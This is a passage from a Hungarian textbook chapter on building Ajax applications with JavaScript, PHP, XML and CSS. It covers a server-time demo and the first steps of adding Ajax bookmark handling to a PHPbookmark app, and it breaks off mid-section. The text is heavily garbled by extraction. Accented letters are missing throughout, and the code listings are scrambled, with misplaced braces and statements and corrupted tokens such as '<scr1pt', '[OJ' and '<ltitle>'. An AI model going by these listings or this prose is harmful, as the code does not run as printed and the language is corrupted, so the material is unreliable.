Ezek az rtkek mindaddig rvnyben maradnak az oldalon, amg olyan elemhez nem rnk, amelynek stlust stluslapban definiltuk. Amikor pldul hl cmkvel tallkozik a kliens, hl szveg fog megjelenni, pontosan gy, ahogy azt meghatroz tk szmra- valsznleg a 12 pontosnl nagyobb mretben s bold, azaz flkvr stlusban. A kivlasztk mellett sajt osztlyokat s ID-kat is meghatrozhatunk a stluslapon. Az osztlyok (amiket adott oldal akr tbb elemn is hasznlhatunk) s az ID-k (amiket adott oldalon bell csak egyszer hasznlhatunk) segtsgvel mg inkbb finomthatjuk a weboldalon bell megjelentett elemek Icinzett s mkdst. Ez a finomhangols klnsen fontos lehet az Ajaxot tmogarni kpes weboldalakon, mert ott dokumentumunk elre meghatrozott terletein jelentnk meg tvoli szkriptmeghvssal lekrt j informcit. Az osztlyokat a kivlasztkhoz hasonlan definiljuk- a defincik kapcsos zrjelek kz kerlnek, s egymstl pontos vesszvel vlasztjuk el azokat. Nzzk meg pldul az ajaxterulet nev osztly definilst:
.ajaxterulet width: height:

{
400px; 400px; #fff; #OOO;

background: border:

lpx solid

34
x

Az ebben a pldban szerepl ajaxterulet osztly, amikor div trolra (container) alkalmazzuk, egy 400 pontos, fehr htter, vkony s fehr krvonal ngyzetet hoz ltre. A kvetkezkppen hasznljuk:
<div class="ajaxterulet">valamilyen szveg</div>

400 kp

A stluslapok hasznlatnak legelterjedtebb mdszere, hogy ltrehozunk egy klnll, az sszes stlusdefincit tartalmaz fjlt, majd HTML dokumentumunk he ad elemben hivatkozunk erre a fjlra, pldul gy:
<head> <link rel="stylesheet" </head> href="a stluslap.css" type="text/css">

A CSS-rl tovbbi informcirt lsd a http:/ /www.w3.org/TR/CSS2/ oldalt!

Kliensoldali programozs
A kliensoldali programozs azt kveten trtnik meg bngsznkn bell, hogy egy oldalt teljes mrtkben letltttnk a kiszolglrL Az sszes programozsi funkci a kiszolglrl lekrt adatokban helyezkedik el, vrva arra, hogy mkdsbe

602

34.fezet

lpjen.A kliensoldalon vgrehajtott gyakori mveletek kz tartozik szveg vagy kp egyes rszeinek megjelentse vagy el rejtse, szveg vagy kp sznnek, mretnek vagy helynek megvltoztatsa, szmtsok vgrehajtsa, illetve az rlapba bevitt felhasznli input ellenrzse-az eltt, hogy elkldennk szerveroldali feldolgozsra. A legelterjedtebb kliensoldali szkriptnyelv a JavaScript-az Ajax J" betje. A VBScript is kliensoldali szkriptnyelv, de mivel " Microsoft-specifikus, gy nylt forrskd krnyezetekben, ahol brmilyen opercis rendszerrel s bngszvel tallkozha tunk, nem a legjobb vlaszts.

Szerveroldali programozs
A szerveroldali programozs kategrijba tartozik a kiszolgln tallhat minden kd, amit a kliensnek kldend vlasz eltt a kiszolgl rtelmez vagy lefordt. A szerveroldali programozs jellemzen adatbzisokhoz trtn szerveroldali kapcsold sokat foglal magban; az adatbzisnak kldtt krsek s az onnan fogadott vlaszok ezrt a kdok rszt kpezik. Ezeket a kdokat brmilyen szerveroldali nyelven megrhatjuk, legyen az Perl, JSP, ASP vagy PHP (a fejezet pldiban nyilvnval okokbl ez utbbit hasznljuk).Mivel a szerveroldali kdra adott vlasz ltalban a szabvnyos HTML valamilyen vltozatban lert adat megjelentse, a vgfelhasznl krnyezet kevsb fontos szmunkra.

XMLsXSLT
Az XML-lel a 33.fejezetben mr tallkozhattunk, ahol formtumnak, szerkezetnek s hasznlatnak alapjairl is olvas hattunk. Az Ajax alkalmazsok szempontjbl az XML-t-amely egybknt az Ajax.X" betje-az adatok kicserlsre, az XLST-t pedig az adatok kezelsre hasznljuk.Magukat az adatokat az ltalunk ltrehozott Ajax alkalmazssal kldjk, vagy abbl keressk vissza. Az XML-rl a http://www.w3.org/XML/, az XSL-rl pedig a http://www.w3.org/TR/xslt20/ oldalon tallunk bvebb lerst.

Ajax alapok
Miutn megismerkedtnk az Ajax alkalmazsok lehetsges sszetevivel, ebben a rszben ezeket az alkotelemeket sszerakva akci kzben vizsglunk meg egy mkd pldt. Kzben egy pillanatra se felejtsk el, hogy az Ajax hasznlarnak egyik el sdleges indoka az, hogy a felhasznl mveleteire azonnal, az oldal teljes frisstse nlkl vlaszolni kpes interaktv webolda lakat lltsunk el! Hogy elrjk ezt a clr, az Ajax alkalmazsok egy tovbbi feldolgozsi rteggel is rendelkeznek, amely a lekrt weboldal s az annak ellltsrt felel webszerver kztt helyezkedik el. Ezt a rteget Ajax Frameworknek (Ajax keretrendszernek) vagy Ajax Engine-nek (Ajax motornak) szoktk nevezni. A keretrendszer feladata, hogy kezelje a felhasznl s a webes kiszolgl kztti krseket, s gy kommunikljon ezekkel a krsekkel s vlaszokkal, hogy az ne ignyeljen tovbbi mveleteket (pld ul az oldal jrarajzolst), illetve ne szakitsa flbe a felhasznl ltal aktulisan vgzett mveletet (pldul a grgetst, a kattin tst vagy szvegrmb olvasst). A kvetkez oldalakon arrl olvashatunk, hogyan teremtik meg az Ajax alkalmazsok egymssal egyttmkd alkotele mei a zavartalan felhasznli lmnyt. AzXMLHTTPRequest objektum A fejezet korbbi rszben esett mr sz a HTTP krsekrl s vlaszokrl, illetve arrl, hogyan lehet Ajax alkalmazson bell kliensoldali programozst hasznlni.A webszerverhez kapcsoldshoz s az eredeti oldal teljes jratltse nlkli krsekhez az XMLHTTPRequest nev specilis JavaScript objektumra lesz szksgnk.

34

Megjegyzs: Az XMLHTTPRequest objektum biztonsgi okokbl csak az ugyanazon domainen belli URL-eket tudja
meghvni; tvoli kiszolglkat kzvetlenl nem hvhat meg.

Az XMLHTTPRequest objektumot szoks az Ajax alkalmazsok szvnek-lelknek" nevezni, mivel ez az objektum tlti be " a kliens krse s a kiszolgl vlasza kztti tjr (gateway) szerept.Rvidesen megtudjuk ugyan, hogy hogyan hozhatjuk ltre s hasznlhatjuk az XMLHTTPRequest objektum egy pldnyt, m ha szeretnnk a tmval bvebben foglalkozni, lto gassunk el a http:/ /www.w3.org/TR/XMLHttpRequest/ oldalra! Az XMLHTTPRequest objektum tbb attribtummal rendelkezik, a 34.1 tblzatban olvashatjuk ezeket.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

603

34.1 tblzat: Az

XMLHTTPRequest objektum attribtumai


Lers

Attribtu m
onreadystatechange readyState

A readyState tulajdonsg megvltozsa esetn meghvand fggvnyt hatrozza meg. A lekrs llapota, amelyet egsz szmok jelkpeznek: O (nem inicializlt), l (tltdik), 2 (be tltdtt), 3 (interaktv) s 4 (befejezett). Karakterlncknt tartalmazza a vlasz ltal visszaadott adatot. XML formtum dokumentumobjektumknt tartalmazza a vlasz ltal visszaadott adatot. A kiszolgl ltal visszakldtt HTTP llapotkd, pldul 200. A kiszolgl ltal visszakldtt szveges HTTP llapot, pldul OK.

re sponseText responseXml status statusText

Az XMLHTTPRequest objektumnak klnbz metdusai is vannak, a 34.2 tblzat ezeket mutatja be.
34.2 tblzat: Az XMLHTTPRequest

objektum metdusai
Lers

Metdus
abort() getAllResponseHeaders() getResponseHeader(header) open('method', 'URL', 'a')

Lellrja a krst. Karakterlncknt adja vissza a vlaszban lv sszes fejlcet. Karakterlncknt adja vissza a header fejlc rtkt. Paramcerei a HTTP mdszert (pldul POST vagy GET), a cl URL-t, illetve azt hatrozzk meg, hogy a krs aszinkron legyen-e (az a igaz) vagy sem (az

a hamis).

send(content) setRequestHeader('x', 'y')

Elkldi a krst, opcionlisan POST tartalommal. Paramter

(x) s rtk (y) prt llt be, s fejlcknt elkldi a krssel egytt.

Az XMLHTTPRequest osztly hasznlathoz elszr is ltte kell hozni egy pldnyt. Ehhez nem elg csupn a kvetkez kdsort begpelni:
var keres = new XMLHTTPRequest();

Ez ugyan az Internet Explorertl klnbz bngszkn minden tovbbi nlkl mkdne, m jellernzen rnindenki sz mra elrhet kdot kvnunk rni. Az XMLHTTPRequest objektum rninden bngszben mkd, j pldnynak ltreho zshoz az albbi JavaScript kdot kell hasznlni:
function getXMLHTTPRequest() var keres try = false;

/* Firefaxhoz */
keres = new XMLHttpRequest();

catch (hiba) try

34
\.
{

/* egyes IE verzikhoz */
keres = new ActiveXObject("Msxml2.XMLHTTP");

catch (hiba) try

/* ms IE verzikhoz */
keres = new ActiveXObject("Microsoft.XMLHTTP");

catch (hiba) keres

= false;

return keres;

604

34.fezet

Ha ezt a JavaScript kdrszletet berjuk egy ajax_ fuggvenyek.js nev fjlba, majd az llomnyt elhelyezzk kiszolg lnkon, mris lerakruk Ajax fggvnyknyvtrunk alapjait. Ha az XMLHTTPRequest objekrum j pldnyt kivnjuk ltrehozni Ajax alkalmazsunkban, beillesztjk a fggvnyein ket tartalmaz fjlt:
<scr1pt src="aJaX fuggvenyek.js" type="text/javascript"></scr1pt>

Ezt kveten meghvjuk az j objektumot, s folytathatjuk a kdrst:


<script type="text/javascript"> var sajatKeres = getXMLHTTPRequest(); </script>

A kvetkez rszben jabb puzzle darabot adunk hozz Ajax fggvnyfjl unkhoz.

Kommunikci

szerverrel

Az elz rszben ltott pldakddal mindssze egy j XMLHTTPRequest objekrum ltrehozst hajtorruk vgre, tny leges kommunikcis feladatra mg nem kerlt sor.A kvetkez pldban ltrehozzuk a kiszolglnak, egszen pomosan a szerverido.php nev PHP kdnak krst kld JavaScript fggvnyt.
function getSzerverido var azOldal =

()

'szerverido.php';

velSzam = parselnt(Math.random()*999999999999999); var azURL = azOldal +"?rand="+velSzam; azURL, true);


=

sajatKeres.open("GET",

sajatKeres.onreadystatechange sajatKeres.send(null);

aHTTPValasz;

A fggvnyben a kd els sora ltreh02:za azazOldal nev vltozt, s egyttal a szerverido.php rtkt rendeli hozz. Ez a neve a kiszolgln tallhat PHP kdnak. A kvetkez sor els rnzsre teljesen feleslegesnek tnhet, hiszen egy vletlen szmot llt el. Jogos a krds: Mi kze van egy vletlen szmnak a szerverid lekrshez? A vlasz az, hogy a vleden szmra nem kzvetlenl a kd miatt van szksg. Azrt hozzuk ltre, illetve azrt fzzk hozz a kd harmadik sorban az URL-hez, hogy elkerljk az esetleges problmkat, amik a krs bngsz (vagy proxy) ltali gyorsttrazsbl addhatnak. Ha az URL egyszeren az lenne, hogy http://kiszolgalonk/kodunk.php, az eredmnyek gyorsttrba kerlhetnnek. Ha viszont http://kiszolgalonk/kodunk. php?rand=veletlenertek formban lltjuk el az URL-t, akkor nem lesz mit gyorsttrazni, hiszen minden egyes alkalommal ms s ms URL-t kapunk, mikzben ez semmilyen hatssal nincs a mgttes kd mkdsre. A fggvny utols hrom sora az elz rszben ltott getXMLHTTPRequest () fggvny meghvsval ltrehozott
XMLHTTPRequest

Az open metdust meghv sorban az albbi paramtereket lthatjuk: a krs tpusa (GET) , az URL (azURL ) , illetve a true rtk, ami jelzi, hogy aszinkron krssel llunk szemben. Az onreadystatechange metdust hasznl sorban a fggvny az objekrum llapotnak vltozsakor egy j,

objektumpldny hrom metdust ( open, onreadystatechange s send) hasznlja.

34

aHTTPValasz

nev fggvnyt fog meghvni.

A send metdust meghv sorban a fggvny NULL tartalmat kld a szerveroldali kdnak. Most hozzuk ltre a szerverido. php nev fjlt, amely a 34.1 pldakdban lthat kdot kell, hogy tartalmazza! 34.1 pldakd: A szerverido.php tartalma
<?php header('Content-Type: text/xml');

echo "<?xml version=\"1.0\" ?> <clock> <idostring>A pontos id6 ".date('H:i:s').", idostring> </clock>"; ?> a mai dtum pedig ".date('Y.m.d').".</

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

605

A kd lekri a PHP date() fggvnyvel a pillanatnyi szerveridt, m:lJd XML kdols karakterlncban visszaadja az rtket. A date () fggvnyt valjban ktszer hvjuk meg: egyszer date( ' H : i : s ' ),egyszer pedig date( ' Y. m.d. ' ) for mban. Az elbbi a pillanatnyi szerveridt adja vissza ra, perc s msodperc formban (24 rs idformtumot hasznlva), az utbbi pedig a kd meghvsnak dtumt v, hnap, nap formban.
Az eredmnyszering a kvetkezkppen fog kinzni - annyi klnbsggel, hogy a szgletes zrjelben lv elemek helyn az

aktulis rtkeket ltjuk:


<?xml version="l.O" ?> <clock> <idostring>
A

pontos id [id],

a mai dtum pedig [dtum].

</idostring> </clock>

A kvetkez rszben ltrehozzuk a mg htralv fggvnyt ( aHTTPValasz ()),s kezdnk valamit a kiszolgln lv PHP kdtl kapott vlasszal.

A kiszolgl vlasznak feldolgozsa


Az elz rszben ltott, a szerverid lekrsre szolgl getSzerverldo() fggvny kszen ll, hogy meghvja az
aHTTPValas z() fggvnyt, s feldolgozza a visszakapott karakterlncot. A kvetkez pldakd rtelmezi a vlaszt, majd

ellltja a vgfelhasznl szmra megjelentend sztringet:


function aHTTPValasz ()

{ { {

if (sajatKeres.readyState == 4) if(sajatKeres.status == 200) var idoString =

sajatKeres.responseXML.getElementsByTagName("idostring") [0]; document.getElementByld('idomegjelenitese').innerHTML timeString.childNodes[OJ .nodeValue; else document.getElementByld('idomegjelenitese').innerHTML '<img src="ajax-loader.gif"/>';

src="ajax-betolto.gif"/>) jtszik le. Ha viszont a sajatKeres objektum readystate tulajdonsgnak rtke 4,

A kls if...else utasts az objektum llapott ellenrzi. Ha az llapot nem 4 (befejezett), a kd egy animcit (<img

a kvetkez ellenrzssei azt nzzk meg, hogy a kiszolgl llapota vajon 200, azaz rendben van-e. Ha az llapot 200, lttehozzuk az idoString nev j vltozt. Ehhez a vltozhoz a szerveroldali kd ltal kldtt XML adat idostring elemben trolt rtket rendeljk, amit a vlasz getElementByTagname metdusval keresnk vissza:
var idoString = sajatKeres. responseXML. getElementsByTagName ("idostring") [O J;

A kvetkez lps ennek az rtknek a megjelentse a HTML fjlban, annak a CSS ltal meghatrozott tetletn. Pldnk ban az idomegjelenitese nven definilt dokumentumelemben fogjuk kiratni ezt az rtket:
document.getElementByld('idomegjelenitese').innerHTML = idoString.childNodes[O] .nodeValue;

34

Ezzel az ajax fuggvenyek.js kdunk is elkszlt; lsd a 34.2 pldakdot!


34.2 pldakd: Az ajax_fuggvenyek.js fjl
function getXMLHTTPRequest() var keres try = false;

tartalma

{
/* Firefaxhoz */ = new XMLHttpRequest();

keres try

catch (hiba)

606

34. fejezet

/* egyes keres

IE verzikhoz */

= new ActiveXObject("Msxml2.XMLHTTP");

catch (hiba) try

{
/* ms IE verzikhoz */ keres = new ActiveXObject("Microsoft.XMLHTTP");

catch (hiba) keres =

false;

return keres;

function getSzerverido ()

var azOldal = 'szerverido.php'; velSzam = parseint(Math.random()*999999999999999); var azURL = azOldal +"?rand="+velSzam; sajatKeres.open("GET", azURL, true);

sajatKeres.onreadystatechange = aHTTPValasz; sajatKeres.send(null);

function aHTTPValasz ()

{ 4) { {

if (sajatKeres.readyState ==

if(sajatKeres.status == 200) var idoString =

sajatKeres.responseXML. getElementsByTagName ("idostring")[O l ; document.getElementByid('idomegjelenitese') .innerHTML idoString.childNodes[O] .nodeValue;

else document.getElementByid('idomegjelenitese').innerHTML '<img src="ajax-betolto.gif"/>';

A kvetkez rszben vglegestjk a HTML-t, s az alkotelemeket sszerakva ltrehozzuk Ajax alkalmazsunkat.

34

Tegyk ssze az egszet!


Ahogy a fejezet elejn mr olvashattuk, az Ajax technolgik kombincija. Az elz rszekben JavaScript s PHP - kliensoldali s szerveroldali programozs - segitsgvel indtorrunk HTTP krst, illetve dolgoztuk fel az erre kapott vlaszt. A technolgiai puzzle hinyz darabja a megjelents: a felhasznl szmra lthat eredmny ellltsa XHTML s CSS hasznlatval. A 34.3 pldakdban az ajaxSzerverido.html kdjt ltjuk; ez a fjl tartalmazza a stluslapelemeket, illetve hvja meg a PHP kdot lefuttat, majd a kiszolgltl a vlaszt fogad JavaScript kdot. 34.3 pldakd: Az ajaxSzerverido.html tartalma
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional/lEN" "http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" dir="ltr" lang="en"> <head> <style> body

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

607

background: #fff; font-family: Verdana, font-size: 12pt; sans-serif;

font-weight: normal;

. displaybox width: 300px; height: lOOpx; background-color:#ffffff; border:2px solid #000000; line-height: 2.5em; margin-top: 25px; font-size: 12pt; font-weight: bold;

</style>

<script src="ajax_fuggvenyek.js" type="text/javascript"></script> <script type="text/javascript"> var sajatKeres = getXMLHTTPRequest(); </script>

</head>

<body>

<div align="center"> <hl>Ajax bemutat</hl> <p align="center">Ha az egeret a lenti tglalap fl mozgatja, a tglalapban megjelenik az aktulis szerverid.<br/> Az oldal nem frissl, csak a tglalap tartalma vltozik.</p>

<div id="idomegjelenitese" class="displaybox" onmouseover="javascript:getSzerverido();"></div> </div>

</body> </html>

A kd az XHTML deklarcival indul, amit a <html> s a <head> nyitcmke kvet. A dokumentum head rszbe,
<styl e>< ls ty l e> cmkk kz kerlnek a stluslapelemek. A fenti kdban csak kt stlust hattozunk meg: a body cm

34

kn belli sszes tartalom formtumt, illetve a displaybox osztlyt hasznl elem formtumt. A displaybox osztlyt 300 kppont szles s 50 kppont magas, fehr htter s fekete krvonal tglalapknt hatrozzuk meg. A tglalapon belli nnden szveget 12 pontos, flkvr betvel szednk. A stluslapelemek utn, de mg a head rszen bell kvetkezik a JavaScript fggvnyknyvtrra mutat hivatkozs:
<script src="ajax_fuggvenyek.js" type="text/javascript"></script>

'-

Ez utn jn a sajatKeres nev j XMLHTTPRequest objektum ltrehozsa:


<script type="text/javascript"> var sajatKeres = getXMLHTTPRequest(); </script>

Ekkor lezrjuk a head elemet, s elkezddik a body. Ebben csak XHTML kdot tallunk. Egy kzpre igaztott div elemben van az oldal fcmnek szvege (Ajax bemutat), illetve a ltogatknak sznt utastst, amely szerint az egeret a tgla lap fl mozgatva az aktulis szerveridt tudjk megjelenteni.

608

34. fejezet

Adiv elem attribtumain bell, idomegjelen i tese azonostval (id) lthatjuk a tnylegesen vgbemen mveletet,

ami jelen esetben az onmouseover esemny kezelje:


<div id="idomegjelenitese" class="displaybox" onmouseover="javascript:getSzerverido();"></div>

Az onmouseover hasznlata azt eredmnyezi, hogy amikor a felhasznl egere az idomegjelen itese nev div ltal meghatrozott terlet fl kerl, a kd a getSzerverido () JavaScript fggvnyt hvja meg. A fggvny meghvsa krst intz a kiszolglhoz, a kiszolgl vlaszol, az eredmnyl add szveg pedig megjelenik ebben a div elemhen.

Megjegyzs: A javaScript fggvnyeket sokflekppen, pldul rlap klds gombjnak oneli ck esemnyvel is meghvhat
juk.
A34.1, 34.2 s 34.3 brn a mkdshe lp kd ltal kivltott esemnysort ltjuk. Az ajaxSzerverido. html oldal

egyik esethen sem tltdik jra, csak az idomegjelenitese nev d i v tartalma frissl.

Ajax bemutat
He az Wijefel: a lenti teglalap fO! mo.z98t}a, a tglalapben meo az Illetualis
S:ZI!f'lefld6. Az oldal nem frlssGI, csak 11 tglaiiiC) wtalma v6iltozllc.

34.1 bra:

Az ajaxSzerverido. html oldal betltdsekor az utastsokat s egy res tglalapot ltunk.

Ajax bemutat
Han f!9l!t't1l a lenti tglalap fOi rncJZ911tja, a tglalapban me<,)elefWk az akbmUs szervet1d(i. Az oldal '*"frlS$11l, CSille a tglalao tartalma vllltozllt..

34

34.2 bra:

A felhasznl a tglalap fl mozgaija egert, ezzel elindija a krst; az ikon jelzi, hogy az objektum tltdik.

laa:-:x':' r-.o-
.[) ,_"_,----

M'4___

..,

..

o:-:tr,,

Ajax bemutat

Ha az eoeret a lenti tglalao rou rnl)l!OII. a toJalapb!tn meoJelenlk az aktu6Us


!>l:erveridll. Al. oldal nem frlssOI, csak 11 t9lalapl:art:alma v61tozlk.

I
34.3 bra:

A,..<d6'8'09"'5,mj
dlltum pedig 2010.09.27.

A kiszolgltl kapott eredmny megjelenik az idomegj elen itese nev div terletn; ha ismt a tglalap fl mozgaijuk egernket, jbl meghvjuk a kdot.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

609

Ajax elemek hozzadsa korbbi projektjeinkhez


A knyvnk V. rszben elksztett projektek egyike sem tmogatja alapbl az Ajaxot. Az sszes projekt gy pl fel, hogy rlapokat kldnk el, arnikre vlaszknt az oldal jra betltdik. Ezek az oldalak ugyan dinamikus elemeket tartalmaznak, azonban egyik sem a Web 2.0 korban joggal elvrt felhasznli lmnyt nyjtja. Ha Ajax elemeket ptettnk volna ezekbe a projektekbe, akkor nem azzal foglalkoztunk volna, hogy elsajttsuk a webes alkalmazsok PHP s MySQL hasznlatval trtn ltrehozsnak alapjair. gy is fogalmazharnnk, hogy mieltt futni szeretnnk, meg kell tanulni stlni. Most viszont mr tudunk futni- na j, legalbbis kocogni -, gy elkezdhetnk azon gon dolkodni, hogyan lehet ezekhez az alkalmazsokhoz Ajax elemeket hozzadni, illetve hogyan lehet az jonnan ltrehozand alkalmazsainkat Ajax elemek bevonsval felpteni. Az Ajax-fejlesztk ltalban a kvetkezkppen gondolkodnak: melyek a klnbz felhasznli mveletek, s milyen ol dalesemnyeket vltanak ki ezek? Azt szeretnnk pldul, hogy a felhasznlk adott gombra kattintva elkldjk az rlapot, s tovbbmenjenek a kvetkez lpsre, vagy az rlap valamely elemn (szvegmezn, vlasztgombon vagy jellngyzeten) az inputfkusz megvltoztatsa aszinkron krst indtson a kiszolglhoz? Miutn eldntttk, hogy milyen tpus mveleteket kvnunk kezelni, elkezdhetjk megrni azokat a JavaScript fggvnyeket, amelyek a kiszolglnak kldend krseket, illetve a kiszolgltl fogadott vlaszokat kezel PHP kdokat hvjk meg. Az elttnk ll rszekben Ajax elemeket adunk a knyv nhny korbbi fejezetben ltrehozott kdhoz.

Ajax elemek hozzadsa a PHPbookmark alkalmazshoz


A Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezetben a PHPbookmark nev alkalmazson dolgoztunk. A knyvjelzk elmentshez, illetve ahhoz, hogy az alkalmazs a ms felhasznlk ltal elmentett knyvjelzk kzl ajnlani tudjon az oldal ltogatinak, azoknak elszr regisztrlniuk, majd bejelentkeznik kellett. Mivel az alkalmazst mr ltrehozruk, s egymshoz szorosan kapcsold PHP kdokbl s fggvnyknyvtrakbl ll, els feladarunk azt vgiggondolni, hogyan adharunk meglv fjlokhoz tovbbi elemeket- legyenek azok stluslapok,JavaScript fggvnyek vagy a mveleteket a kiszolgli oldalon kezelni kpes PHP kdok. A vlasz egyszer: hozzunk ltre egy-egy k ln fjlt a stlusoknak s a JavaScript fggvnyeknek! Ezt kveten adjuk hozz a 27. fejezet meglv PHP kdjaihoz a kls fjlokat beilleszt s a JavaScript fggvnyeket meghv kdrszeket! Az esetlegesen most ltrehozand PHP kdokat is az alkalmazs mr meglv fjljaitl kln fogjuk trolni. Miutn elhatroztuk, hogy hogyan kezeljk az j llomnyokat, azt is el kell dntennk, hogy milyen felhasznli funkci kat kezelhetnk Ajaxszal. Noha az alkalmazsnak a felhasznli regisztrcit s a bejelentkezst megvalst rszeinl tnik az Ajax tmogats bevezetse a legkzenfekvbbnek, helytakarkossgi okokbl vlasztsunk a knyvjelzk hozzadsval s az eltrolt knyvjelzk szerkesztsvel kapcsolatos felhasznli funkcikra esett. Meglv alkalmazsfjlokat is mdostani fogunk. ppen ezrt clszer mostani munknkhoz j knyvtrba tmsolni a 27. fejezet fjljait; minden vltoztatst ebben az j knyvtrban hajtunk vgre, nem pedig a PHPbookmark alkalmazs mr mk d vltozatban.

Megjegyzs: Ha mgis a regisztrci t alaktannk t gy, hogy tmogassa az Ajax mkdst, akkor egy JavaScript fggvny meghvsval olyan PHP kdot futtathatnnk, amely ellenrzi, hogy a felhasznl e-mail cme s felhasznli neve nem tallha t-e mr meg a rendszerben. Ha megtallhat, akkor a fggvny hibazenetet jelenthet meg, s a hibs adatok kijavtsig nem engedlyezi a regisztrcis rlap elkldst.

34

jabb fjlok ltrehozsa


Ahogy mr jeleztk, j fjlokkal egsztjk ki az alkalmazs meglv szerkezett. Igaz ugyan, hogy ezeket a fjlokat a kvetkez oldalakon egyenknt ttekintjk majd, mgis rdemes az egsz feladatot tgondolni, mieltt nekiltunk a munknak. Felttelezhetjk, hogy minimum kt j fjlt ltrehozunk majd: egy stluslapot s a JavaScript fggvnyek knyvtrt. Hoz zuk ltre ezeket most azonnal: a nevk legyen uj_ss. ess s uj_ aj ax. js! Az j stluslap (uj_ss. ess) egyelre res lesz, mert mg nem definilrunk j stlusokat, de az uj_ a j a x . js fjlnak tartalmaznia kell a fejezet korbbi rszben rt- az sszes bngszben az XMLHTTPRequest objektum j pldnyt ltrehozni kpes- getXMLHTTPRequest ( ) fggvnyt. A ksbbiekben ugyan kiegsztjk mg ezeket a fjlokat, de akr mr most is feltlthetjk ket webszervernkre. A kvetkez lps az, hogy ezekre a fjlokra mutat hivatkozst szrunk be a PHPboomark alkalmazs egyik meglv megjelent fggvnybe. Ez garantlja, hogy a stluslap stlusai, illetve a JavaScript fggvny mindig elrhet lesz. A 27. feje-

610

34.fezer

zetbl emlkezhernk r, hogy a HTML fejlcnek kimenert elllr fggvny neve html_fej lec_letrehozasa (},s a kimeneti_fuggvenyek.php fjlban tallhat. A fijlnak az j vltozatt a 34.4 pldakdban ralljuk. 34.4 pldakd: A html_fejlec_ letrehozasa(} fggvny kiegsztett, az j stluslapra s a JavaScriptfggvnyknyvtrra mutat vltozata
function html fejlec_letrehozasa($oldalcim} ll HTML fejlc megjelenitse ?> <html> <head> <title><?php echo $oldalcim;?><ltitle> <sty le> body li, hr a

{ font-family: Arial,
td f3333cc; tOOOOOO;

Helvetica,

sans-serif; font-size:

13px;

{ font-family: Arial, J }

Helvetica,

sans-serif; font-size:

13px;

{ color: { color:

<lstyle>

<link rel="stylesheet" type="textlcss" href="uj ss.css"l> <script src="uj_ajax.js" type="textljavascript"><lscript>

<lhead> <body> <img src="konyvjelzo.gif" alt="PHPbookmark logo" border="O" align="left" valign="bottom" height="SS" width="57" l> <hl>PHPbookmark<lhl> <hr l> <?php if($oldalcim} do_html_heading($oldalcim};

Ha feleltttk mr az j srluslapor, a JavaScript fggvnyknyvrrat s a kimeneti_fuggvenyek.php fjlt, s megnyi runk a PHPbookmark alkalmazsban egy j oldalt, az j fjloknak hiba nlkl be kell illeszrdnik. A kvetkezkben tovbbi stlusokat s kdokar adunk ezekhez a fjlokhoz, hogy Ajax funkcikar valsrhassunk meg velk.

34

Knyvjelz'k hozzadsa Ajax-mdra


Jelen pillanarban a knyvjelzk hozzadsa akkor valsul meg,amikor a felhasznl megadja a knyvjelz URL-jt, s rkattint az rlap klds gombjra. A klds gombra kattints egy msik PHP kdot hv meg, amely hozzadja az rlapot az adatb zishoz,visszaadja a felhasznl knyvjelzinek listjt, s jelzi ezzel, hogy az j knyvjelz hozzaddott. Ms szavakkal: jra berlti a szksges oldalakat. Az Ajax mdszervel megjelentjk a knyvjelz hozzadsra szolgl rlapot, m a tovbbi oldalletltseker kivlt kl ds gombra kattints helyettJavaScript fggvnyt hvunk meg a httrben, ami a knyvjelzr az adarbzishoz hozzad s a felhasznlnak a vlaszt visszaad PHP kdot hvja meg. Mindezr anlkl, hogy elhagyn a mr berlttt oldalt. Az ilyen mkdshez elszr is a kimeneti_ fuggvenyek. php fjl kj_hozzaad_ urlap_ megjeleni t ese(} fggvnyr kell mdosrani. A 34.5 pldakd a mr kiegsztett fggvnyt murarja. Eltvolrottuk az rlap mvelerr, hozzadtuk a beviteli mezhz egy
id (azonost) rtkr, s megvltoztattuk a gomb attribtumait. Ezen kvl a fggvnyen bellrl a getXMLHTTPRequest (J

JavaScript fggvnyt is meghvtuk.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

611

34.5 pldakd: A kj_ hozzaact_urlap_megjelenitese(} fggvny kiegsztett vltozata


function kj_hozzaad_urlap_megjelenitese()

ll j knyvjelz hozzadsra szolgl rlap megjelenitse ?> <script type="text/javascript"> var sajatKeres = getXMLHTTPRequest{); </script> <form> <table width="250" cellpadding="2" cellspacing="O" bgcolor="lcccccc"> <tr><td>j knyvjelz:</td> <td><input type="text" name="uj_url" name="uj_url" value="http://" size="30" maxlength="255"/></td></tr> <tr><td colspan="2" align="center"> <input type="button" value="Knyvjelz hozzadsa" onClick=" javascript:ujKonyvjelzoHozzaadasa();"/></td></tr> </table> </form> <?php

Vizsgljuk meg kzelebbrl az rlap gombjt:


<input type="button" value="Knyvjelz hozzadsa" onClick=" javascript: ujKonyvjelzoHozzaadasa(} ;"l>

Amikor a felhasznl erre a gombra kattint, az onCiick esemnykezel az ujKonyvjelzoHozzaadasa() JavaScript fggvnyt hvja meg. A fggvny krst intz a kiszolglhoz, egsz pontosan ahhoz a PHP kdhoz, amely megprblja beil leszteni a rekordot az adatbzisba. Ennek a fggvnynek a kdjt a 34.6 pldakdban olvashatjuk.
34.6 pldakd: Az ujKonyvj elzoHozzaadasa (} JavaScript fggvny
function ujKonyvjelzoHozzaadasa () var url = "kj_hozzaadasa.php"; var parameterek = "uj url=" + encodeURI(document.getElementByid('uj_url').value); sajatKeres.open("POST", url, true); "application/x-www-form-urlencoded"); parameterek.length);

sajatKeres.setRequestHeader("Content-type",

sajatKeres.setRequestHeader("Content-length", sajatKeres.setRequestHeader("Connection",

"close");

sajatKeres.onreadystatechange = hozzaadKJValasz; sajatKeres.send(parameterek);

34

Ez a fggvny a fejezet korbbi rszben hasznlt getSzerverido() fggvnyhez hasonlan nz ki. A benne vgbemen folyamat is igen hasonl: vltozk ltrehozsa, adatok elkldse a PHP kdnak, maJd a kiszolgltl kapott vlaszt kezel fggvny meghvsa. A kvetkez sor egy nv/ rtk prt hoz ltre az rlapmez nevbl s a felhasznl ltal bert rtkbl:
var parameterek = "uj_url="
+

encodeURI(document.getElementByid('uj_url').value);

A parameterek rtkt a fggvny utols sorban kldjk vissza a mgttes PHP kdnak:
